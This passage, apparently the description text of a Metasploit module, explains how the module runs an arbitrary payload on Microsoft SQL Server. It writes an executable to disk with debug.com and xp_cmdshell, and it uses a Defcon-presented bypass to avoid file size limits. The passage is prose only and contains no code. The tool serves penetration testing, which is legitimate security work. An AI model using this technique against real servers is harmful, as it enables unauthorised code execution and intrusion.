					This module will execute an arbitrary payload on a Microsoft SQL
				Server, using the Windows debug.com method for writing an executable to disk
				and the xp_cmdshell stored procedure. File size restrictions are avoided by
				incorporating the debug	bypass method presented at Defcon 17 by SecureState.
				Note that this module will leave a metasploit payload in the Windows
				System32 directory which must be manually deleted once the attack is completed.
